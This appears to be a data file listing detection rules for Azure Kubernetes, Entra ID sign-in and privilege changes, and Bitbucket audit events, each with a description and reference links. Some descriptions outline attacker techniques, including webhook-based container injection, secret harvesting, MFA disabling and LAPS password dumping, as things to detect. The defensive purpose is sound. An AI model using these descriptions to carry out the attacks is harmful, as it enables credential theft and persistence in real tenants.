Azure Kubernetes Admission Controller	Identifies when an admission controller is executed in Azure Kubernetes. A Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server. The behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster. An adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster. For example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod. An adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials. An adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.	https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes
Azure Kubernetes Cluster Created or Deleted	Detects when a Azure Kubernetes Cluster is created or deleted.	https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes, https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/, https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/, https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1, https://attack.mitre.org/matrices/enterprise/cloud/
Azure Kubernetes CronJob	Identifies when a Azure Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. An Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.	https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes, https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/, https://kubernetes.io/docs/concepts/workloads/controllers/job/, https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
Azure Kubernetes Events Deleted	Detects when Events are deleted in Azure Kubernetes. An adversary may delete events in Azure Kubernetes in an attempt to evade detection.	https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes, https://github.com/elastic/detection-rules/blob/da3852b681cf1a33898b1535892eab1f3a76177a/rules/integrations/azure/defense_evasion_kubernetes_events_deleted.toml
Azure Kubernetes Network Policy Change	Identifies when a Azure Kubernetes network policy is modified or deleted.	https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes, https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/, https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/, https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1, https://attack.mitre.org/matrices/enterprise/cloud/
Azure Kubernetes Pods Deleted	Identifies the deletion of Azure Kubernetes Pods.	https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes, https://github.com/elastic/detection-rules/blob/065bf48a9987cd8bd826c098a30ce36e6868ee46/rules/integrations/azure/impact_kubernetes_pod_deleted.toml
Azure Kubernetes RoleBinding/ClusterRoleBinding Modified and Deleted	Detects the creation or patching of potential malicious RoleBinding/ClusterRoleBinding.	https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes, https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/, https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/, https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1, https://attack.mitre.org/matrices/enterprise/cloud/
Azure Kubernetes Sensitive Role Access	Identifies when ClusterRoles/Roles are being modified or deleted.	https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes, https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/, https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/, https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1, https://attack.mitre.org/matrices/enterprise/cloud/
Azure Kubernetes Secret or Config Object Access	Identifies when a Kubernetes account access a sensitive objects such as configmaps or secrets.	https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes, https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/, https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/, https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1, https://attack.mitre.org/matrices/enterprise/cloud/
Azure Kubernetes Service Account Modified or Deleted	Identifies when a service account is modified or deleted.	https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes, https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/, https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/, https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1, https://attack.mitre.org/matrices/enterprise/cloud/
Disabled MFA to Bypass Authentication Mechanisms	Detection for when multi factor authentication has been disabled, which might indicate a malicious activity to bypass authentication mechanisms.	https://learn.microsoft.com/en-us/azure/active-directory/authentication/howto-mfa-userstates
Azure Network Firewall Policy Modified or Deleted	Identifies when a Firewall Policy is Modified or Deleted.	https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations
Azure Point-to-site VPN Modified or Deleted	Identifies when a Point-to-site VPN is Modified or Deleted.	https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations
Azure Firewall Rule Configuration Modified or Deleted	Identifies when a Firewall Rule Configuration is Modified or Deleted.	https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations
Azure Network Security Configuration Modified or Deleted	Identifies when a network security configuration is modified or deleted.	https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations
Azure Virtual Network Device Modified or Deleted	Identifies when a virtual network device is being modified or deleted. This can be a network interface, network virtual appliance, virtual hub, or virtual router.	https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations
Azure New CloudShell Created	Identifies when a new cloudshell is created inside of Azure portal.	https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations
Azure Owner Removed From Application or Service Principal	Identifies when a owner is was removed from a application or service principal in Azure.	https://learn.microsoft.com/en-us/entra/identity/monitoring-health/reference-audit-activities#application-proxy
Rare Subscription-level Operations In Azure	Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used.	https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/RareOperations.yaml
Azure Service Principal Created	Identifies when a service principal is created in Azure.	https://learn.microsoft.com/en-us/entra/identity/monitoring-health/reference-audit-activities#application-proxy
Azure Service Principal Removed	Identifies when a service principal was removed in Azure.	https://learn.microsoft.com/en-us/entra/identity/monitoring-health/reference-audit-activities#application-proxy
Azure Subscription Permission Elevation Via ActivityLogs	Detects when a user has been elevated to manage all Azure Subscriptions. This change should be investigated immediately if it isn't planned. This setting could allow an attacker access to Azure subscriptions in your environment.	https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftauthorization
Azure Suppression Rule Created	Identifies when a suppression rule is created in Azure. Adversary's could attempt this to evade detection.	https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations
Azure Virtual Network Modified or Deleted	Identifies when a Virtual Network is modified or deleted in Azure.	https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations
Azure VPN Connection Modified or Deleted	Identifies when a VPN connection is modified or deleted.	https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations
CA Policy Removed by Non Approved Actor	Monitor and alert on conditional access changes where non approved actor removed CA Policy.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-infrastructure#conditional-access
CA Policy Updated by Non Approved Actor	Monitor and alert on conditional access changes. Is Initiated by (actor) approved to make changes? Review Modified Properties and compare "old" vs "new" value.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-infrastructure#conditional-access
New CA Policy by Non-approved Actor	Monitor and alert on conditional access changes.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-infrastructure
Bitlocker Key Retrieval	Monitor and alert for Bitlocker key retrieval.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-devices#bitlocker-key-retrieval
Account Created And Deleted Within A Close Time Frame	Detects when an account was created and deleted in a short period of time.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#short-lived-accounts
Certificate-Based Authentication Enabled	Detects when certificate based authentication has been enabled in an Azure Active Directory tenant.	https://posts.specterops.io/passwordless-persistence-and-privilege-escalation-in-azure-98a01310be3f, https://goodworkaround.com/2022/02/15/digging-into-azure-ad-certificate-based-authentication/
Changes to Device Registration Policy	Monitor and alert for changes to the device registration policy.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-devices#device-registrations-and-joins-outside-policy
Guest Users Invited To Tenant By Non Approved Inviters	Detects guest users being invited to tenant by non-approved inviters	https://learn.microsoft.com/en-gb/entra/architecture/security-operations-user-accounts#monitoring-external-user-sign-ins
New Root Certificate Authority Added	Detects newly added root certificate authority to an AzureAD tenant to support certificate based authentication.	https://posts.specterops.io/passwordless-persistence-and-privilege-escalation-in-azure-98a01310be3f, https://goodworkaround.com/2022/02/15/digging-into-azure-ad-certificate-based-authentication/
Users Added to Global or Device Admin Roles	Monitor and alert for users added to device admin roles.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-devices#device-administrator-roles
Application AppID Uri Configuration Changes	Detects when a configuration change is made to an applications AppID URI.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#appid-uri-added-modified-or-removed
Added Credentials to Existing Application	Detects when a new credential is added to an existing application. Any additional credentials added outside of expected processes could be a malicious actor using those credentials.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#application-credentials
Delegated Permissions Granted For All Users	Detects when highly privileged delegated permissions are granted on behalf of all users	https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#application-granted-highly-privileged-permissions
End User Consent	Detects when an end user consents to an application	https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#end-user-consent
End User Consent Blocked	Detects when end user consent is blocked due to risk-based consent.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#end-user-stopped-due-to-risk-based-consent
Added Owner To Application	Detects when a new owner is added to an application. This gives that account privileges to make modifications and configuration changes to the application.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#new-owner
App Granted Microsoft Permissions	Detects when an application is granted delegated or app role permissions for Microsoft Graph, Exchange, Sharepoint, or Azure AD	https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#application-granted-highly-privileged-permissions
App Granted Privileged Delegated Or App Permissions	Detects when administrator grants either application permissions (app roles) or highly privileged delegated permissions	https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#application-granted-highly-privileged-permissions
App Assigned To Azure RBAC/Microsoft Entra Role	Detects when an app is assigned Azure AD roles, such as global administrator, or Azure RBAC roles, such as subscription owner.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#service-principal-assigned-to-a-role
Application URI Configuration Changes	Detects when a configuration change is made to an applications URI. URIs for domain names that no longer exist (dangling URIs), not using HTTPS, wildcards at the end of the domain, URIs that are no unique to that app, or URIs that point to domains you do not control should be investigated.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#application-configuration-changes
Windows LAPS Credential Dump From Entra ID	Detects when an account dumps the LAPS password from Entra ID.	https://twitter.com/NathanMcNulty/status/1785051227568632263, https://www.cloudcoffee.ch/microsoft-365/configure-windows-laps-in-microsoft-intune/, https://techcommunity.microsoft.com/t5/microsoft-entra-blog/introducing-windows-local-administrator-password-solution-with/ba-p/1942487
Change to Authentication Method	Change to authentication method could be an indicator of an attacker adding an auth method to the account so they can have continued access.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts
Azure Domain Federation Settings Modified	Identifies when an user or application modified the federation settings on the domain.	https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-monitor-federation-changes
User Added To Group With CA Policy Modification Access	Monitor and alert on group membership additions of groups that have CA policy modification access	https://learn.microsoft.com/en-us/entra/architecture/security-operations-infrastructure#conditional-access
User Removed From Group With CA Policy Modification Access	Monitor and alert on group membership removal of groups that have CA policy modification access	https://learn.microsoft.com/en-us/entra/architecture/security-operations-infrastructure#conditional-access
Guest User Invited By Non Approved Inviters	Detects when a user that doesn't have permissions to invite a guest user attempts to invite one.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts#things-to-monitor
User State Changed From Guest To Member	Detects the change of user type from "Guest" to "Member" for potential elevation of privilege.	https://learn.microsoft.com/en-gb/entra/architecture/security-operations-user-accounts#monitoring-external-user-sign-ins
PIM Approvals And Deny Elevation	Detects when a PIM elevation is approved or denied. Outside of normal operations should be investigated.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-identity-management#azure-ad-roles-assignment
PIM Alert Setting Changes To Disabled	Detects when PIM alerts are set to disabled.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-identity-management#azure-ad-roles-assignment
Changes To PIM Settings	Detects when changes are made to PIM roles	https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-identity-management#azure-ad-roles-assignment
User Added To Privilege Role	Detects when a user is added to a privileged role.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-identity-management#azure-ad-roles-assignment
Bulk Deletion Changes To Privileged Account Permissions	Detects when a user is removed from a privileged role. Bulk changes should be investigated.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-identity-management#azure-ad-roles-assignment
Privileged Account Creation	Detects when a new admin is created.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts#changes-to-privileged-accounts
Azure Subscription Permission Elevation Via AuditLogs	Detects when a user has been elevated to manage all Azure Subscriptions. This change should be investigated immediately if it isn't planned. This setting could allow an attacker access to Azure subscriptions in your environment.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts#assignment-and-elevation
Temporary Access Pass Added To An Account	Detects when a temporary access pass (TAP) is added to an account. TAPs added to priv accounts should be investigated	https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts#changes-to-privileged-accounts
User Risk and MFA Registration Policy Updated	Detects changes and updates to the user risk and MFA registration policy. Attackers can modified the policies to Bypass MFA, weaken security thresholds, facilitate further attacks, maintain persistence.	https://learn.microsoft.com/en-us/entra/id-protection/howto-identity-protection-configure-mfa-policy, https://learn.microsoft.com/en-us/entra/identity/monitoring-health/reference-audit-activities
Multi Factor Authentication Disabled For User Account	Detects changes to the "StrongAuthenticationRequirement" value, where the state is set to "0" or "Disabled". Threat actors were seen disabling multi factor authentication for users in order to maintain or achieve access to the account. Also see in SIM Swap attacks.	https://www.sans.org/blog/defending-against-scattered-spider-and-the-com-with-cybercrime-intelligence/
Password Reset By User Account	Detect when a user has reset their password in Azure AD	https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts
Anomalous Token	Indicates that there are abnormal characteristics in the token such as an unusual token lifetime or a token that is played from an unfamiliar location.	https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#anomalous-token, https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
Anomalous User Activity	Indicates that there are anomalous patterns of behavior like suspicious changes to the directory.	https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#anomalous-user-activity, https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
Activity From Anonymous IP Address	Identifies that users were active from an IP address that has been identified as an anonymous proxy IP address.	https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#activity-from-anonymous-ip-address, https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
Anonymous IP Address	Indicates sign-ins from an anonymous IP address, for example, using an anonymous browser or VPN.	https://learn.microsoft.com/en-us/graph/api/resources/riskdetection?view=graph-rest-1.0, https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#anonymous-ip-address
Atypical Travel	Identifies two sign-ins originating from geographically distant locations, where at least one of the locations may also be atypical for the user, given past behavior.	https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#atypical-travel, https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
Impossible Travel	Identifies user activities originating from geographically distant locations within a time period shorter than the time it takes to travel from the first location to the second.	https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#impossible-travel, https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
Suspicious Inbox Forwarding Identity Protection	Indicates suspicious rules such as an inbox rule that forwards a copy of all emails to an external address	https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#suspicious-inbox-forwarding, https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
Suspicious Inbox Manipulation Rules	Detects suspicious rules that delete or move messages or folders are set on a user's inbox.	https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#suspicious-inbox-manipulation-rules, https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
Azure AD Account Credential Leaked	Indicates that the user's valid credentials have been leaked.	https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#leaked-credentials, https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
Malicious IP Address Sign-In Failure Rate	Indicates sign-in from a malicious IP address based on high failure rates.	https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#malicious-ip-address, https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
Malicious IP Address Sign-In Suspicious	Indicates sign-in from a malicious IP address known to be malicious at time of sign-in.	https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#malicious-ip-address, https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
Sign-In From Malware Infected IP	Indicates sign-ins from IP addresses infected with malware that is known to actively communicate with a bot server.	https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#malware-linked-ip-address-deprecated, https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
Password Spray Activity	Indicates that a password spray attack has been successfully performed.	https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#password-spray, https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
Primary Refresh Token Access Attempt	Indicates access attempt to the PRT resource which can be used to move laterally into an organization or perform credential theft	https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#possible-attempt-to-access-primary-refresh-token-prt, https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
Suspicious Browser Activity	Indicates anomalous behavior based on suspicious sign-in activity across multiple tenants from different countries in the same browser	https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#suspicious-browser, https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
Azure AD Threat Intelligence	Indicates user activity that is unusual for the user or consistent with known attack patterns.	https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#azure-ad-threat-intelligence-sign-in, https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#azure-ad-threat-intelligence-user, https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
SAML Token Issuer Anomaly	Indicates the SAML token issuer for the associated SAML token is potentially compromised. The claims included in the token are unusual or match known attacker patterns	https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#token-issuer-anomaly, https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
New Country	Detects sign-ins from new countries. The detection considers past activity locations to determine new and infrequent locations.	https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#new-country, https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
Unfamiliar Sign-In Properties	Detects sign-in with properties that are unfamiliar to the user. The detection considers past sign-in history to look for anomalous sign-ins.	https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#unfamiliar-sign-in-properties, https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
Stale Accounts In A Privileged Role	Identifies when an account hasn't signed in during the past n number of days.	https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-how-to-configure-security-alerts#potential-stale-accounts-in-a-privileged-role
Invalid PIM License	Identifies when an organization doesn't have the proper license for PIM and is out of compliance.	https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-how-to-configure-security-alerts#the-organization-doesnt-have-microsoft-entra-premium-p2-or-microsoft-entra-id-governance
Roles Assigned Outside PIM	Identifies when a privilege role assignment has taken place outside of PIM and may indicate an attack.	https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-how-to-configure-security-alerts#roles-are-being-assigned-outside-of-privileged-identity-management
Roles Activation Doesn't Require MFA	Identifies when a privilege role can be activated without performing mfa.	https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-how-to-configure-security-alerts#roles-dont-require-multi-factor-authentication-for-activation
Roles Activated Too Frequently	Identifies when the same privilege role has multiple activations by the same user.	https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-how-to-configure-security-alerts#roles-are-being-activated-too-frequently
Roles Are Not Being Used	Identifies when a user has been assigned a privilege role and are not using that role.	https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-how-to-configure-security-alerts#administrators-arent-using-their-privileged-roles
Too Many Global Admins	Identifies an event where there are there are too many accounts assigned the Global Administrator role.	https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-how-to-configure-security-alerts#there-are-too-many-global-administrators
Account Lockout	Identifies user account which has been locked because the user tried to sign in too many times with an incorrect user ID or password.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts
Successful Authentications From Countries You Do Not Operate Out Of	Detect successful authentications from countries you do not operate out of.	https://learn.microsoft.com/en-gb/entra/architecture/security-operations-user-accounts
Increased Failed Authentications Of Any Type	Detects when sign-ins increased by 10% or greater.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#monitoring-for-failed-unusual-sign-ins
Measurable Increase Of Successful Authentications	Detects when successful sign-ins increased by 10% or greater.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#monitoring-for-successful-unusual-sign-ins
Authentications To Important Apps Using Single Factor Authentication	Detect when authentications to important application(s) only required single-factor authentication	https://learn.microsoft.com/en-gb/entra/architecture/security-operations-user-accounts
Discovery Using AzureHound	Detects AzureHound (A BloodHound data collector for Microsoft Azure) activity via the default User-Agent that is used during its operation after successful authentication.	https://github.com/BloodHoundAD/AzureHound
Failed Authentications From Countries You Do Not Operate Out Of	Detect failed authentications from countries you do not operate out of.	https://learn.microsoft.com/en-gb/entra/architecture/security-operations-user-accounts
Device Registration or Join Without MFA	Monitor and alert for device registration or join events where MFA was not performed.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-devices#device-registrations-and-joins-outside-policy
Azure AD Only Single Factor Authentication Required	Detect when users are authenticating without MFA being required.	https://learn.microsoft.com/en-gb/entra/architecture/security-operations-user-accounts
Suspicious SignIns From A Non Registered Device	Detects risky authentication from a non AD registered device without MFA being required.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-devices#non-compliant-device-sign-in
Sign-ins from Non-Compliant Devices	Monitor and alert for sign-ins where the device was non-compliant.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-devices#non-compliant-device-sign-in
Sign-ins by Unknown Devices	Monitor and alert for Sign-ins by unknown devices from non-Trusted locations.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-devices#non-compliant-device-sign-in
Potential MFA Bypass Using Legacy Client Authentication	Detects successful authentication from potential clients using legacy authentication via user agent strings. This could be a sign of MFA bypass using a password spray attack.	https://web.archive.org/web/20230217071802/https://blooteem.com/march-2022, https://www.microsoft.com/en-us/security/blog/2021/10/26/protect-your-business-from-password-sprays-with-microsoft-dart-recommendations/
Application Using Device Code Authentication Flow	Device code flow is an OAuth 2.0 protocol flow specifically for input constrained devices and is not used in all environments. If this type of flow is seen in the environment and not being used in an input constrained device scenario, further investigation is warranted. This can be a misconfigured application or potentially something malicious.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#application-authentication-flows
Applications That Are Using ROPC Authentication Flow	Resource owner password credentials (ROPC) should be avoided if at all possible as this requires the user to expose their current password credentials to the application directly. The application then uses those credentials to authenticate the user against the identity provider.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#application-authentication-flows
Account Disabled or Blocked for Sign in Attempts	Detects when an account is disabled or blocked for sign in but tried to log in	https://learn.microsoft.com/en-gb/entra/architecture/security-operations-privileged-accounts
Sign-in Failure Due to Conditional Access Requirements Not Met	Define a baseline threshold for failed sign-ins due to Conditional Access failures	https://learn.microsoft.com/en-gb/entra/architecture/security-operations-privileged-accounts
Use of Legacy Authentication Protocols	Alert on when legacy authentication has been used on an account	https://learn.microsoft.com/en-gb/entra/architecture/security-operations-privileged-accounts
Login to Disabled Account	Detect failed attempts to sign in to disabled accounts.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts
Multifactor Authentication Denied	User has indicated they haven't instigated the MFA prompt and could indicate an attacker has the password for the account.	https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/
Azure Unusual Authentication Interruption	Detects when there is a interruption in the authentication process.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts
Multifactor Authentication Interrupted	Identifies user login with multifactor authentication failures, which might be an indication an attacker has the password for the account but can't pass the MFA challenge.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts
Users Authenticating To Other Azure AD Tenants	Detect when users in your Azure AD tenant are authenticating to other Azure AD Tenants.	https://learn.microsoft.com/en-gb/entra/architecture/security-operations-user-accounts#monitoring-external-user-sign-ins
User Access Blocked by Azure Conditional Access	Detect access has been blocked by Conditional Access policies. The access policy does not allow token issuance which might be sights≈ of unauthorizeed login to valid accounts.	https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts
Bitbucket Full Data Export Triggered	Detects when full data export is attempted.	https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html, https://confluence.atlassian.com/adminjiraserver0811/importing-and-exporting-data-1019391889.html
Bitbucket Global Permission Changed	Detects global permissions change activity.	https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html, https://confluence.atlassian.com/bitbucketserver/global-permissions-776640369.html
Bitbucket Global Secret Scanning Rule Deleted	Detects Bitbucket global secret scanning rule deletion activity.	https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html, https://confluence.atlassian.com/bitbucketserver/secret-scanning-1157471613.html
Bitbucket Global SSH Settings Changed	Detects Bitbucket global SSH access configuration changes.	https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html, https://confluence.atlassian.com/bitbucketserver/enable-ssh-access-to-git-repositories-776640358.html
Bitbucket Audit Log Configuration Updated	Detects changes to the bitbucket audit log configuration.	https://confluence.atlassian.com/bitbucketserver/view-and-configure-the-audit-log-776640417.html
Bitbucket Project Secret Scanning Allowlist Added	Detects when a secret scanning allowlist rule is added for projects.	https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html, https://confluence.atlassian.com/bitbucketserver/secret-scanning-1157471613.html
Bitbucket Secret Scanning Exempt Repository Added	Detects when a repository is exempted from secret scanning feature.	https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html, https://confluence.atlassian.com/bitbucketserver/secret-scanning-1157471613.html
Bitbucket Secret Scanning Rule Deleted	Detects when secret scanning rule is deleted for the project or repository.	https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html, https://confluence.atlassian.com/bitbucketserver/secret-scanning-1157471613.html
Bitbucket Unauthorized Access To A Resource	Detects unauthorized access attempts to a resource.	https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html
Bitbucket Unauthorized Full Data Export Triggered	Detects when full data export is attempted an unauthorized user.	https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html, https://confluence.atlassian.com/bitbucketserver/secret-scanning-1157471613.html
Bitbucket User Details Export Attempt Detected	Detects user data export activity.	https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html, https://support.atlassian.com/security-and-access-policies/docs/export-user-accounts
Bitbucket User Login Failure	Detects user authentication failure events. Please note that this rule can be noisy and it is recommended to use with correlation based on "author.name" field.	https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html
Bitbucket User Login Failure Via SSH	Detects SSH user login access failures. Please note that this rule can be noisy and is recommended to use with correlation based on "author.name" field.	https://confluence.atlassian.com/bitbucketserver/view-and-configure-the-audit-log-776640417.html, https://confluence.atlassian.com/bitbucketserver/enable-ssh-access-to-git-repositories-776640358.html
Bitbucket User Permissions Export Attempt	Detects user permission data export attempt.	https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html, https://confluence.atlassian.com/bitbucketserver/users-and-groups-776640439.html
